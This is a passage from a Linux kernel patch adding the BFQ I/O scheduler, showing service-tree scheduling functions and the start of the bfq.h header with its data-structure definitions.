++ * updates its min_start using the values held by its children, assuming
++ * that they did not change, and then updates all the nodes that may have
++ * changed in the path to the root.  The only nodes that may have changed
++ * are the ones in the path or their siblings.
++ */
++static void bfq_update_active_tree(struct rb_node *node)
++{
++	struct rb_node *parent;
++
++up:
++	bfq_update_active_node(node);
++
++	parent = rb_parent(node);
++	if (parent == NULL)
++		return;
++
++	if (node == parent->rb_left && parent->rb_right != NULL)
++		bfq_update_active_node(parent->rb_right);
++	else if (parent->rb_left != NULL)
++		bfq_update_active_node(parent->rb_left);
++
++	node = parent;
++	goto up;
++}
++
++/**
++ * bfq_active_insert - insert an entity in the active tree of its group/device.
++ * @st: the service tree of the entity.
++ * @entity: the entity being inserted.
++ *
++ * The active tree is ordered by finish time, but an extra key is kept
++ * per each node, containing the minimum value for the start times of
++ * its children (and the node itself), so it's possible to search for
++ * the eligible node with the lowest finish time in logarithmic time.
++ */
++static void bfq_active_insert(struct bfq_service_tree *st,
++			      struct bfq_entity *entity)
++{
++	struct bfq_queue *bfqq = bfq_entity_to_bfqq(entity);
++	struct rb_node *node = &entity->rb_node;
++
++	bfq_insert(&st->active, entity);
++
++	if (node->rb_left != NULL)
++		node = node->rb_left;
++	else if (node->rb_right != NULL)
++		node = node->rb_right;
++
++	bfq_update_active_tree(node);
++
++	if (bfqq != NULL)
++		list_add(&bfqq->bfqq_list, &bfqq->bfqd->active_list);
++}
++
++/**
++ * bfq_ioprio_to_weight - calc a weight from an ioprio.
++ * @ioprio: the ioprio value to convert.
++ */
++static unsigned short bfq_ioprio_to_weight(int ioprio)
++{
++	WARN_ON(ioprio < 0 || ioprio >= IOPRIO_BE_NR);
++	return IOPRIO_BE_NR - ioprio;
++}
++
++/**
++ * bfq_weight_to_ioprio - calc an ioprio from a weight.
++ * @weight: the weight value to convert.
++ *
++ * To preserve as mush as possible the old only-ioprio user interface,
++ * 0 is used as an escape ioprio value for weights (numerically) equal or
++ * larger than IOPRIO_BE_NR
++ */
++static unsigned short bfq_weight_to_ioprio(int weight)
++{
++	WARN_ON(weight < BFQ_MIN_WEIGHT || weight > BFQ_MAX_WEIGHT);
++	return IOPRIO_BE_NR - weight < 0 ? 0 : IOPRIO_BE_NR - weight;
++}
++
++static inline void bfq_get_entity(struct bfq_entity *entity)
++{
++	struct bfq_queue *bfqq = bfq_entity_to_bfqq(entity);
++	struct bfq_sched_data *sd;
++
++	if (bfqq != NULL) {
++		sd = entity->sched_data;
++		atomic_inc(&bfqq->ref);
++		bfq_log_bfqq(bfqq->bfqd, bfqq, "get_entity: %p %d",
++			     bfqq, atomic_read(&bfqq->ref));
++	}
++}
++
++/**
++ * bfq_find_deepest - find the deepest node that an extraction can modify.
++ * @node: the node being removed.
++ *
++ * Do the first step of an extraction in an rb tree, looking for the
++ * node that will replace @node, and returning the deepest node that
++ * the following modifications to the tree can touch.  If @node is the
++ * last node in the tree return %NULL.
++ */
++static struct rb_node *bfq_find_deepest(struct rb_node *node)
++{
++	struct rb_node *deepest;
++
++	if (node->rb_right == NULL && node->rb_left == NULL)
++		deepest = rb_parent(node);
++	else if (node->rb_right == NULL)
++		deepest = node->rb_left;
++	else if (node->rb_left == NULL)
++		deepest = node->rb_right;
++	else {
++		deepest = rb_next(node);
++		if (deepest->rb_right != NULL)
++			deepest = deepest->rb_right;
++		else if (rb_parent(deepest) != node)
++			deepest = rb_parent(deepest);
++	}
++
++	return deepest;
++}
++
++/**
++ * bfq_active_extract - remove an entity from the active tree.
++ * @st: the service_tree containing the tree.
++ * @entity: the entity being removed.
++ */
++static void bfq_active_extract(struct bfq_service_tree *st,
++			       struct bfq_entity *entity)
++{
++	struct bfq_queue *bfqq = bfq_entity_to_bfqq(entity);
++	struct rb_node *node;
++
++	node = bfq_find_deepest(&entity->rb_node);
++	bfq_extract(&st->active, entity);
++
++	if (node != NULL)
++		bfq_update_active_tree(node);
++
++	if (bfqq != NULL)
++		list_del(&bfqq->bfqq_list);
++}
++
++/**
++ * bfq_idle_insert - insert an entity into the idle tree.
++ * @st: the service tree containing the tree.
++ * @entity: the entity to insert.
++ */
++static void bfq_idle_insert(struct bfq_service_tree *st,
++			    struct bfq_entity *entity)
++{
++	struct bfq_queue *bfqq = bfq_entity_to_bfqq(entity);
++	struct bfq_entity *first_idle = st->first_idle;
++	struct bfq_entity *last_idle = st->last_idle;
++
++	if (first_idle == NULL || bfq_gt(first_idle->finish, entity->finish))
++		st->first_idle = entity;
++	if (last_idle == NULL || bfq_gt(entity->finish, last_idle->finish))
++		st->last_idle = entity;
++
++	bfq_insert(&st->idle, entity);
++
++	if (bfqq != NULL)
++		list_add(&bfqq->bfqq_list, &bfqq->bfqd->idle_list);
++}
++
++/**
++ * bfq_forget_entity - remove an entity from the wfq trees.
++ * @st: the service tree.
++ * @entity: the entity being removed.
++ *
++ * Update the device status and forget everything about @entity, putting
++ * the device reference to it, if it is a queue.  Entities belonging to
++ * groups are not refcounted.
++ */
++static void bfq_forget_entity(struct bfq_service_tree *st,
++			      struct bfq_entity *entity)
++{
++	struct bfq_queue *bfqq = bfq_entity_to_bfqq(entity);
++	struct bfq_sched_data *sd;
++
++	BUG_ON(!entity->on_st);
++
++	entity->on_st = 0;
++	st->wsum -= entity->weight;
++	if (bfqq != NULL) {
++		sd = entity->sched_data;
++		bfq_log_bfqq(bfqq->bfqd, bfqq, "forget_entity: %p %d",
++			     bfqq, atomic_read(&bfqq->ref));
++		bfq_put_queue(bfqq);
++	}
++}
++
++/**
++ * bfq_put_idle_entity - release the idle tree ref of an entity.
++ * @st: service tree for the entity.
++ * @entity: the entity being released.
++ */
++static void bfq_put_idle_entity(struct bfq_service_tree *st,
++				struct bfq_entity *entity)
++{
++	bfq_idle_extract(st, entity);
++	bfq_forget_entity(st, entity);
++}
++
++/**
++ * bfq_forget_idle - update the idle tree if necessary.
++ * @st: the service tree to act upon.
++ *
++ * To preserve the global O(log N) complexity we only remove one entry here;
++ * as the idle tree will not grow indefinitely this can be done safely.
++ */
++static void bfq_forget_idle(struct bfq_service_tree *st)
++{
++	struct bfq_entity *first_idle = st->first_idle;
++	struct bfq_entity *last_idle = st->last_idle;
++
++	if (RB_EMPTY_ROOT(&st->active) && last_idle != NULL &&
++	    !bfq_gt(last_idle->finish, st->vtime)) {
++		/*
++		 * Forget the whole idle tree, increasing the vtime past
++		 * the last finish time of idle entities.
++		 */
++		st->vtime = last_idle->finish;
++	}
++
++	if (first_idle != NULL && !bfq_gt(first_idle->finish, st->vtime))
++		bfq_put_idle_entity(st, first_idle);
++}
++
++static struct bfq_service_tree *
++__bfq_entity_update_weight_prio(struct bfq_service_tree *old_st,
++			 struct bfq_entity *entity)
++{
++	struct bfq_service_tree *new_st = old_st;
++
++	if (entity->ioprio_changed) {
++		struct bfq_queue *bfqq = bfq_entity_to_bfqq(entity);
++
++		BUG_ON(old_st->wsum < entity->weight);
++		old_st->wsum -= entity->weight;
++
++		if (entity->new_weight != entity->orig_weight) {
++			entity->orig_weight = entity->new_weight;
++			entity->ioprio =
++				bfq_weight_to_ioprio(entity->orig_weight);
++		} else if (entity->new_ioprio != entity->ioprio) {
++			entity->ioprio = entity->new_ioprio;
++			entity->orig_weight =
++					bfq_ioprio_to_weight(entity->ioprio);
++		} else
++			entity->new_weight = entity->orig_weight =
++				bfq_ioprio_to_weight(entity->ioprio);
++
++		entity->ioprio_class = entity->new_ioprio_class;
++		entity->ioprio_changed = 0;
++
++		/*
++		 * NOTE: here we may be changing the weight too early,
++		 * this will cause unfairness.  The correct approach
++		 * would have required additional complexity to defer
++		 * weight changes to the proper time instants (i.e.,
++		 * when entity->finish <= old_st->vtime).
++		 */
++		new_st = bfq_entity_service_tree(entity);
++		entity->weight = entity->orig_weight *
++			(bfqq != NULL ? bfqq->raising_coeff : 1);
++		new_st->wsum += entity->weight;
++
++		if (new_st != old_st)
++			entity->start = new_st->vtime;
++	}
++
++	return new_st;
++}
++
++/**
++ * bfq_bfqq_served - update the scheduler status after selection for service.
++ * @bfqq: the queue being served.
++ * @served: bytes to transfer.
++ *
++ * NOTE: this can be optimized, as the timestamps of upper level entities
++ * are synchronized every time a new bfqq is selected for service.  By now,
++ * we keep it to better check consistency.
++ */
++static void bfq_bfqq_served(struct bfq_queue *bfqq, unsigned long served)
++{
++	struct bfq_entity *entity = &bfqq->entity;
++	struct bfq_service_tree *st;
++
++	for_each_entity(entity) {
++		st = bfq_entity_service_tree(entity);
++
++		entity->service += served;
++		BUG_ON(entity->service > entity->budget);
++		BUG_ON(st->wsum == 0);
++
++		st->vtime += bfq_delta(served, st->wsum);
++		bfq_forget_idle(st);
++	}
++	bfq_log_bfqq(bfqq->bfqd, bfqq, "bfqq_served %lu secs", served);
++}
++
++/**
++ * bfq_bfqq_charge_full_budget - set the service to the entity budget.
++ * @bfqq: the queue that needs a service update.
++ *
++ * When it's not possible to be fair in the service domain, because
++ * a queue is not consuming its budget fast enough (the meaning of
++ * fast depends on the timeout parameter), we charge it a full
++ * budget.  In this way we should obtain a sort of time-domain
++ * fairness among all the seeky/slow queues.
++ */
++static inline void bfq_bfqq_charge_full_budget(struct bfq_queue *bfqq)
++{
++	struct bfq_entity *entity = &bfqq->entity;
++
++	bfq_log_bfqq(bfqq->bfqd, bfqq, "charge_full_budget");
++
++	bfq_bfqq_served(bfqq, entity->budget - entity->service);
++}
++
++/**
++ * __bfq_activate_entity - activate an entity.
++ * @entity: the entity being activated.
++ *
++ * Called whenever an entity is activated, i.e., it is not active and one
++ * of its children receives a new request, or has to be reactivated due to
++ * budget exhaustion.  It uses the current budget of the entity (and the
++ * service received if @entity is active) of the queue to calculate its
++ * timestamps.
++ */
++static void __bfq_activate_entity(struct bfq_entity *entity)
++{
++	struct bfq_sched_data *sd = entity->sched_data;
++	struct bfq_service_tree *st = bfq_entity_service_tree(entity);
++
++	if (entity == sd->active_entity) {
++		BUG_ON(entity->tree != NULL);
++		/*
++		 * If we are requeueing the current entity we have
++		 * to take care of not charging to it service it has
++		 * not received.
++		 */
++		bfq_calc_finish(entity, entity->service);
++		entity->start = entity->finish;
++		sd->active_entity = NULL;
++	} else if (entity->tree == &st->active) {
++		/*
++		 * Requeueing an entity due to a change of some
++		 * next_active entity below it.  We reuse the old
++		 * start time.
++		 */
++		bfq_active_extract(st, entity);
++	} else if (entity->tree == &st->idle) {
++		/*
++		 * Must be on the idle tree, bfq_idle_extract() will
++		 * check for that.
++		 */
++		bfq_idle_extract(st, entity);
++		entity->start = bfq_gt(st->vtime, entity->finish) ?
++				       st->vtime : entity->finish;
++	} else {
++		/*
++		 * The finish time of the entity may be invalid, and
++		 * it is in the past for sure, otherwise the queue
++		 * would have been on the idle tree.
++		 */
++		entity->start = st->vtime;
++		st->wsum += entity->weight;
++		bfq_get_entity(entity);
++
++		BUG_ON(entity->on_st);
++		entity->on_st = 1;
++	}
++
++	st = __bfq_entity_update_weight_prio(st, entity);
++	bfq_calc_finish(entity, entity->budget);
++	bfq_active_insert(st, entity);
++}
++
++/**
++ * bfq_activate_entity - activate an entity and its ancestors if necessary.
++ * @entity: the entity to activate.
++ *
++ * Activate @entity and all the entities on the path from it to the root.
++ */
++static void bfq_activate_entity(struct bfq_entity *entity)
++{
++	struct bfq_sched_data *sd;
++
++	for_each_entity(entity) {
++		__bfq_activate_entity(entity);
++
++		sd = entity->sched_data;
++		if (!bfq_update_next_active(sd))
++			/*
++			 * No need to propagate the activation to the
++			 * upper entities, as they will be updated when
++			 * the active entity is rescheduled.
++			 */
++			break;
++	}
++}
++
++/**
++ * __bfq_deactivate_entity - deactivate an entity from its service tree.
++ * @entity: the entity to deactivate.
++ * @requeue: if false, the entity will not be put into the idle tree.
++ *
++ * Deactivate an entity, independently from its previous state.  If the
++ * entity was not on a service tree just return, otherwise if it is on
++ * any scheduler tree, extract it from that tree, and if necessary
++ * and if the caller did not specify @requeue, put it on the idle tree.
++ *
++ * Return %1 if the caller should update the entity hierarchy, i.e.,
++ * if the entity was under service or if it was the next_active for
++ * its sched_data; return %0 otherwise.
++ */
++static int __bfq_deactivate_entity(struct bfq_entity *entity, int requeue)
++{
++	struct bfq_sched_data *sd = entity->sched_data;
++	struct bfq_service_tree *st = bfq_entity_service_tree(entity);
++	int was_active = entity == sd->active_entity;
++	int ret = 0;
++
++	if (!entity->on_st)
++		return 0;
++
++	BUG_ON(was_active && entity->tree != NULL);
++
++	if (was_active) {
++		bfq_calc_finish(entity, entity->service);
++		sd->active_entity = NULL;
++	} else if (entity->tree == &st->active)
++		bfq_active_extract(st, entity);
++	else if (entity->tree == &st->idle)
++		bfq_idle_extract(st, entity);
++	else if (entity->tree != NULL)
++		BUG();
++
++	if (was_active || sd->next_active == entity)
++		ret = bfq_update_next_active(sd);
++
++	if (!requeue || !bfq_gt(entity->finish, st->vtime))
++		bfq_forget_entity(st, entity);
++	else
++		bfq_idle_insert(st, entity);
++
++	BUG_ON(sd->active_entity == entity);
++	BUG_ON(sd->next_active == entity);
++
++	return ret;
++}
++
++/**
++ * bfq_deactivate_entity - deactivate an entity.
++ * @entity: the entity to deactivate.
++ * @requeue: true if the entity can be put on the idle tree
++ */
++static void bfq_deactivate_entity(struct bfq_entity *entity, int requeue)
++{
++	struct bfq_sched_data *sd;
++	struct bfq_entity *parent;
++
++	for_each_entity_safe(entity, parent) {
++		sd = entity->sched_data;
++
++		if (!__bfq_deactivate_entity(entity, requeue))
++			/*
++			 * The parent entity is still backlogged, and
++			 * we don't need to update it as it is still
++			 * under service.
++			 */
++			break;
++
++		if (sd->next_active != NULL)
++			/*
++			 * The parent entity is still backlogged and
++			 * the budgets on the path towards the root
++			 * need to be updated.
++			 */
++			goto update;
++
++		/*
++		 * If we reach there the parent is no more backlogged and
++		 * we want to propagate the dequeue upwards.
++		 */
++		requeue = 1;
++	}
++
++	return;
++
++update:
++	entity = parent;
++	for_each_entity(entity) {
++		__bfq_activate_entity(entity);
++
++		sd = entity->sched_data;
++		if (!bfq_update_next_active(sd))
++			break;
++	}
++}
++
++/**
++ * bfq_update_vtime - update vtime if necessary.
++ * @st: the service tree to act upon.
++ *
++ * If necessary update the service tree vtime to have at least one
++ * eligible entity, skipping to its start time.  Assumes that the
++ * active tree of the device is not empty.
++ *
++ * NOTE: this hierarchical implementation updates vtimes quite often,
++ * we may end up with reactivated tasks getting timestamps after a
++ * vtime skip done because we needed a ->first_active entity on some
++ * intermediate node.
++ */
++static void bfq_update_vtime(struct bfq_service_tree *st)
++{
++	struct bfq_entity *entry;
++	struct rb_node *node = st->active.rb_node;
++
++	entry = rb_entry(node, struct bfq_entity, rb_node);
++	if (bfq_gt(entry->min_start, st->vtime)) {
++		st->vtime = entry->min_start;
++		bfq_forget_idle(st);
++	}
++}
++
++/**
++ * bfq_first_active - find the eligible entity with the smallest finish time
++ * @st: the service tree to select from.
++ *
++ * This function searches the first schedulable entity, starting from the
++ * root of the tree and going on the left every time on this side there is
++ * a subtree with at least one eligible (start >= vtime) entity.  The path
++ * on the right is followed only if a) the left subtree contains no eligible
++ * entities and b) no eligible entity has been found yet.
++ */
++static struct bfq_entity *bfq_first_active_entity(struct bfq_service_tree *st)
++{
++	struct bfq_entity *entry, *first = NULL;
++	struct rb_node *node = st->active.rb_node;
++
++	while (node != NULL) {
++		entry = rb_entry(node, struct bfq_entity, rb_node);
++left:
++		if (!bfq_gt(entry->start, st->vtime))
++			first = entry;
++
++		BUG_ON(bfq_gt(entry->min_start, st->vtime));
++
++		if (node->rb_left != NULL) {
++			entry = rb_entry(node->rb_left,
++					 struct bfq_entity, rb_node);
++			if (!bfq_gt(entry->min_start, st->vtime)) {
++				node = node->rb_left;
++				goto left;
++			}
++		}
++		if (first != NULL)
++			break;
++		node = node->rb_right;
++	}
++
++	BUG_ON(first == NULL && !RB_EMPTY_ROOT(&st->active));
++	return first;
++}
++
++/**
++ * __bfq_lookup_next_entity - return the first eligible entity in @st.
++ * @st: the service tree.
++ *
++ * Update the virtual time in @st and return the first eligible entity
++ * it contains.
++ */
++static struct bfq_entity *__bfq_lookup_next_entity(struct bfq_service_tree *st,
++						   bool force)
++{
++	struct bfq_entity *entity, *new_next_active = NULL;
++
++	if (RB_EMPTY_ROOT(&st->active))
++		return NULL;
++
++	bfq_update_vtime(st);
++	entity = bfq_first_active_entity(st);
++	BUG_ON(bfq_gt(entity->start, st->vtime));
++
++	/*
++	 * If the chosen entity does not match with the sched_data's
++	 * next_active and we are forcedly serving the IDLE priority
++	 * class tree, bubble up budget update.
++	 */
++	if (unlikely(force && entity != entity->sched_data->next_active)) {
++		new_next_active = entity;
++		for_each_entity(new_next_active)
++			bfq_update_budget(new_next_active);
++	}
++
++	return entity;
++}
++
++/**
++ * bfq_lookup_next_entity - return the first eligible entity in @sd.
++ * @sd: the sched_data.
++ * @extract: if true the returned entity will be also extracted from @sd.
++ *
++ * NOTE: since we cache the next_active entity at each level of the
++ * hierarchy, the complexity of the lookup can be decreased with
++ * absolutely no effort just returning the cached next_active value;
++ * we prefer to do full lookups to test the consistency of * the data
++ * structures.
++ */
++static struct bfq_entity *bfq_lookup_next_entity(struct bfq_sched_data *sd,
++						 int extract,
++						 struct bfq_data *bfqd)
++{
++	struct bfq_service_tree *st = sd->service_tree;
++	struct bfq_entity *entity;
++	int i = 0;
++
++	BUG_ON(sd->active_entity != NULL);
++
++	if (bfqd != NULL &&
++	    jiffies - bfqd->bfq_class_idle_last_service > BFQ_CL_IDLE_TIMEOUT) {
++		entity = __bfq_lookup_next_entity(st + BFQ_IOPRIO_CLASSES - 1,
++						  true);
++		if (entity != NULL) {
++			i = BFQ_IOPRIO_CLASSES - 1;
++			bfqd->bfq_class_idle_last_service = jiffies;
++			sd->next_active = entity;
++		}
++	}
++	for (; i < BFQ_IOPRIO_CLASSES; i++) {
++		entity = __bfq_lookup_next_entity(st + i, false);
++		if (entity != NULL) {
++			if (extract) {
++				bfq_check_next_active(sd, entity);
++				bfq_active_extract(st + i, entity);
++				sd->active_entity = entity;
++				sd->next_active = NULL;
++			}
++			break;
++		}
++	}
++
++	return entity;
++}
++
++/*
++ * Get next queue for service.
++ */
++static struct bfq_queue *bfq_get_next_queue(struct bfq_data *bfqd)
++{
++	struct bfq_entity *entity = NULL;
++	struct bfq_sched_data *sd;
++	struct bfq_queue *bfqq;
++
++	BUG_ON(bfqd->in_service_queue != NULL);
++
++	if (bfqd->busy_queues == 0)
++		return NULL;
++
++	sd = &bfqd->root_group->sched_data;
++	for (; sd != NULL; sd = entity->my_sched_data) {
++		entity = bfq_lookup_next_entity(sd, 1, bfqd);
++		BUG_ON(entity == NULL);
++		entity->service = 0;
++	}
++
++	bfqq = bfq_entity_to_bfqq(entity);
++	BUG_ON(bfqq == NULL);
++
++	return bfqq;
++}
++
++/*
++ * Forced extraction of the given queue.
++ */
++static void bfq_get_next_queue_forced(struct bfq_data *bfqd,
++				      struct bfq_queue *bfqq)
++{
++	struct bfq_entity *entity;
++	struct bfq_sched_data *sd;
++
++	BUG_ON(bfqd->in_service_queue != NULL);
++
++	entity = &bfqq->entity;
++	/*
++	 * Bubble up extraction/update from the leaf to the root.
++	*/
++	for_each_entity(entity) {
++		sd = entity->sched_data;
++		bfq_update_budget(entity);
++		bfq_update_vtime(bfq_entity_service_tree(entity));
++		bfq_active_extract(bfq_entity_service_tree(entity), entity);
++		sd->active_entity = entity;
++		sd->next_active = NULL;
++		entity->service = 0;
++	}
++
++	return;
++}
++
++static void __bfq_bfqd_reset_in_service(struct bfq_data *bfqd)
++{
++	if (bfqd->in_service_bic != NULL) {
++		put_io_context(bfqd->in_service_bic->icq.ioc);
++		bfqd->in_service_bic = NULL;
++	}
++
++	bfqd->in_service_queue = NULL;
++	del_timer(&bfqd->idle_slice_timer);
++}
++
++static void bfq_deactivate_bfqq(struct bfq_data *bfqd, struct bfq_queue *bfqq,
++				int requeue)
++{
++	struct bfq_entity *entity = &bfqq->entity;
++
++	if (bfqq == bfqd->in_service_queue)
++		__bfq_bfqd_reset_in_service(bfqd);
++
++	bfq_deactivate_entity(entity, requeue);
++}
++
++static void bfq_activate_bfqq(struct bfq_data *bfqd, struct bfq_queue *bfqq)
++{
++	struct bfq_entity *entity = &bfqq->entity;
++
++	bfq_activate_entity(entity);
++}
++
++/*
++ * Called when the bfqq no longer has requests pending, remove it from
++ * the service tree.
++ */
++static void bfq_del_bfqq_busy(struct bfq_data *bfqd, struct bfq_queue *bfqq,
++			      int requeue)
++{
++	BUG_ON(!bfq_bfqq_busy(bfqq));
++	BUG_ON(!RB_EMPTY_ROOT(&bfqq->sort_list));
++
++	bfq_log_bfqq(bfqd, bfqq, "del from busy");
++
++	bfq_clear_bfqq_busy(bfqq);
++
++	BUG_ON(bfqd->busy_queues == 0);
++	bfqd->busy_queues--;
++	if (bfqq->raising_coeff > 1)
++		bfqd->raised_busy_queues--;
++
++	bfq_deactivate_bfqq(bfqd, bfqq, requeue);
++}
++
++/*
++ * Called when an inactive queue receives a new request.
++ */
++static void bfq_add_bfqq_busy(struct bfq_data *bfqd, struct bfq_queue *bfqq)
++{
++	BUG_ON(bfq_bfqq_busy(bfqq));
++	BUG_ON(bfqq == bfqd->in_service_queue);
++
++	bfq_log_bfqq(bfqd, bfqq, "add to busy");
++
++	bfq_activate_bfqq(bfqd, bfqq);
++
++	bfq_mark_bfqq_busy(bfqq);
++	bfqd->busy_queues++;
++	if (bfqq->raising_coeff > 1)
++		bfqd->raised_busy_queues++;
++}
+diff --git a/block/bfq.h b/block/bfq.h
+new file mode 100644
+index 0000000..78da7d2
+--- /dev/null
++++ b/block/bfq.h
+@@ -0,0 +1,612 @@
++/*
++ * BFQ-v7 for 3.10.0: data structures and common functions prototypes.
++ *
++ * Based on ideas and code from CFQ:
++ * Copyright (C) 2003 Jens Axboe <axboe@kernel.dk>
++ *
++ * Copyright (C) 2008 Fabio Checconi <fabio@gandalf.sssup.it>
++ *		      Paolo Valente <paolo.valente@unimore.it>
++ *
++ * Copyright (C) 2010 Paolo Valente <paolo.valente@unimore.it>
++ */
++
++#ifndef _BFQ_H
++#define _BFQ_H
++
++#include <linux/blktrace_api.h>
++#include <linux/hrtimer.h>
++#include <linux/ioprio.h>
++#include <linux/rbtree.h>
++
++#define BFQ_IOPRIO_CLASSES	3
++#define BFQ_CL_IDLE_TIMEOUT	(HZ/5)
++
++#define BFQ_MIN_WEIGHT	1
++#define BFQ_MAX_WEIGHT	1000
++
++#define BFQ_DEFAULT_GRP_WEIGHT	10
++#define BFQ_DEFAULT_GRP_IOPRIO	0
++#define BFQ_DEFAULT_GRP_CLASS	IOPRIO_CLASS_BE
++
++struct bfq_entity;
++
++/**
++ * struct bfq_service_tree - per ioprio_class service tree.
++ * @active: tree for active entities (i.e., those backlogged).
++ * @idle: tree for idle entities (i.e., those not backlogged, with V <= F_i).
++ * @first_idle: idle entity with minimum F_i.
++ * @last_idle: idle entity with maximum F_i.
++ * @vtime: scheduler virtual time.
++ * @wsum: scheduler weight sum; active and idle entities contribute to it.
++ *
++ * Each service tree represents a B-WF2Q+ scheduler on its own.  Each
++ * ioprio_class has its own independent scheduler, and so its own
++ * bfq_service_tree.  All the fields are protected by the queue lock
++ * of the containing bfqd.
++ */
++struct bfq_service_tree {
++	struct rb_root active;
++	struct rb_root idle;
++
++	struct bfq_entity *first_idle;
++	struct bfq_entity *last_idle;
++
++	u64 vtime;
++	unsigned long wsum;
++};
++
++/**
++ * struct bfq_sched_data - multi-class scheduler.
++ * @active_entity: entity under service.
++ * @next_active: head-of-the-line entity in the scheduler.
++ * @service_tree: array of service trees, one per ioprio_class.
++ *
++ * bfq_sched_data is the basic scheduler queue.  It supports three
++ * ioprio_classes, and can be used either as a toplevel queue or as
++ * an intermediate queue on a hierarchical setup.
++ * @next_active points to the active entity of the sched_data service
++ * trees that will be scheduled next.
++ *
++ * The supported ioprio_classes are the same as in CFQ, in descending
++ * priority order, IOPRIO_CLASS_RT, IOPRIO_CLASS_BE, IOPRIO_CLASS_IDLE.
++ * Requests from higher priority queues are served before all the
++ * requests from lower priority queues; among requests of the same
++ * queue requests are served according to B-WF2Q+.
++ * All the fields are protected by the queue lock of the containing bfqd.
++ */
++struct bfq_sched_data {
++	struct bfq_entity *active_entity;
++	struct bfq_entity *next_active;
++	struct bfq_service_tree service_tree[BFQ_IOPRIO_CLASSES];
++};
++
++/**
++ * struct bfq_entity - schedulable entity.
++ * @rb_node: service_tree member.
++ * @on_st: flag, true if the entity is on a tree (either the active or
++ *         the idle one of its service_tree).
++ * @finish: B-WF2Q+ finish timestamp (aka F_i).
++ * @start: B-WF2Q+ start timestamp (aka S_i).
++ * @tree: tree the entity is enqueued into; %NULL if not on a tree.
++ * @min_start: minimum start time of the (active) subtree rooted at
++ *             this entity; used for O(log N) lookups into active trees.
++ * @service: service received during the last round of service.
++ * @budget: budget used to calculate F_i; F_i = S_i + @budget / @weight.
++ * @weight: weight of the queue
++ * @parent: parent entity, for hierarchical scheduling.
++ * @my_sched_data: for non-leaf nodes in the cgroup hierarchy, the
++ *                 associated scheduler queue, %NULL on leaf nodes.
++ * @sched_data: the scheduler queue this entity belongs to.
++ * @ioprio: the ioprio in use.
++ * @new_weight: when a weight change is requested, the new weight value.
++ * @orig_weight: original weight, used to implement weight boosting
++ * @new_ioprio: when an ioprio change is requested, the new ioprio value.
++ * @ioprio_class: the ioprio_class in use.
++ * @new_ioprio_class: when an ioprio_class change is requested, the new
++ *                    ioprio_class value.
++ * @ioprio_changed: flag, true when the user requested a weight, ioprio or
++ *                  ioprio_class change.
++ *
++ * A bfq_entity is used to represent either a bfq_queue (leaf node in the
++ * cgroup hierarchy) or a bfq_group into the upper level scheduler.  Each
++ * entity belongs to the sched_data of the parent group in the cgroup
++ * hierarchy.  Non-leaf entities have also their own sched_data, stored
++ * in @my_sched_data.
++ *
++ * Each entity stores independently its priority values; this would
++ * allow different weights on different devices, but this
++ * functionality is not exported to userspace by now.  Priorities and
++ * weights are updated lazily, first storing the new values into the
++ * new_* fields, then setting the @ioprio_changed flag.  As soon as
++ * there is a transition in the entity state that allows the priority
++ * update to take place the effective and the requested priority
++ * values are synchronized.
++ *
++ * Unless cgroups are used, the weight value is calculated from the
++ * ioprio to export the same interface as CFQ.  When dealing with
++ * ``well-behaved'' queues (i.e., queues that do not spend too much
++ * time to consume their budget and have true sequential behavior, and
++ * when there are no external factors breaking anticipation) the
++ * relative weights at each level of the cgroups hierarchy should be
++ * guaranteed.  All the fields are protected by the queue lock of the
++ * containing bfqd.
++ */
++struct bfq_entity {
++	struct rb_node rb_node;
++
++	int on_st;
++
++	u64 finish;
++	u64 start;
++
++	struct rb_root *tree;
++
++	u64 min_start;
++
++	unsigned long service, budget;
++	unsigned short weight, new_weight;
++	unsigned short orig_weight;
++
++	struct bfq_entity *parent;
++
++	struct bfq_sched_data *my_sched_data;
++	struct bfq_sched_data *sched_data;
++
++	unsigned short ioprio, new_ioprio;
++	unsigned short ioprio_class, new_ioprio_class;
++
++	int ioprio_changed;
++};
++
++struct bfq_group;
++
++/**
++ * struct bfq_queue - leaf schedulable entity.
++ * @ref: reference counter.
++ * @bfqd: parent bfq_data.
++ * @new_bfqq: shared bfq_queue if queue is cooperating with
++ *           one or more other queues.
++ * @pos_node: request-position tree member (see bfq_data's @rq_pos_tree).
++ * @pos_root: request-position tree root (see bfq_data's @rq_pos_tree).
++ * @sort_list: sorted list of pending requests.
++ * @next_rq: if fifo isn't expired, next request to serve.
++ * @queued: nr of requests queued in @sort_list.
++ * @allocated: currently allocated requests.
++ * @meta_pending: pending metadata requests.
++ * @fifo: fifo list of requests in sort_list.
++ * @entity: entity representing this queue in the scheduler.
++ * @max_budget: maximum budget allowed from the feedback mechanism.
++ * @budget_timeout: budget expiration (in jiffies).
++ * @dispatched: number of requests on the dispatch list or inside driver.
++ * @org_ioprio: saved ioprio during boosted periods.
++ * @flags: status flags.
++ * @bfqq_list: node for active/idle bfqq list inside our bfqd.
++ * @seek_samples: number of seeks sampled
++ * @seek_total: sum of the distances of the seeks sampled
++ * @seek_mean: mean seek distance
++ * @last_request_pos: position of the last request enqueued
++ * @pid: pid of the process owning the queue, used for logging purposes.
++ * @last_rais_start_time: last (idle -> weight-raised) transition attempt
++ * @raising_cur_max_time: current max raising time for this queue
++ * @last_idle_bklogged: time of the last transition of the @bfq_queue from
++ *                      idle to backlogged
++ * @service_from_backlogged: cumulative service received from the @bfq_queue
++ *                           since the last transition from idle to backlogged
++ *
++ * A bfq_queue is a leaf request queue; it can be associated to an io_context
++ * or more (if it is an async one).  @cgroup holds a reference to the
++ * cgroup, to be sure that it does not disappear while a bfqq still
++ * references it (mostly to avoid races between request issuing and task
++ * migration followed by cgroup distruction).
++ * All the fields are protected by the queue lock of the containing bfqd.
++ */
++struct bfq_queue {
++	atomic_t ref;
++	struct bfq_data *bfqd;
++
++	/* fields for cooperating queues handling */
++	struct bfq_queue *new_bfqq;
++	struct rb_node pos_node;
++	struct rb_root *pos_root;
++
++	struct rb_root sort_list;
++	struct request *next_rq;
++	int queued[2];
++	int allocated[2];
++	int meta_pending;
++	struct list_head fifo;
++
++	struct bfq_entity entity;
++
++	unsigned long max_budget;
++	unsigned long budget_timeout;
++
++	int dispatched;
++
++	unsigned short org_ioprio;
++
++	unsigned int flags;
++
++	struct list_head bfqq_list;
++
++	unsigned int seek_samples;
++	u64 seek_total;
++	sector_t seek_mean;
++	sector_t last_request_pos;
++
++	pid_t pid;
++
++	/* weight-raising fields */
++	unsigned int raising_cur_max_time;
++	unsigned long soft_rt_next_start;
++	u64 last_rais_start_finish;
++	unsigned int raising_coeff;
++	u64 last_idle_bklogged;
++	unsigned long service_from_backlogged;
++};
++
++/**
++ * struct bfq_ttime - per process thinktime stats.
++ * @ttime_total: total process thinktime
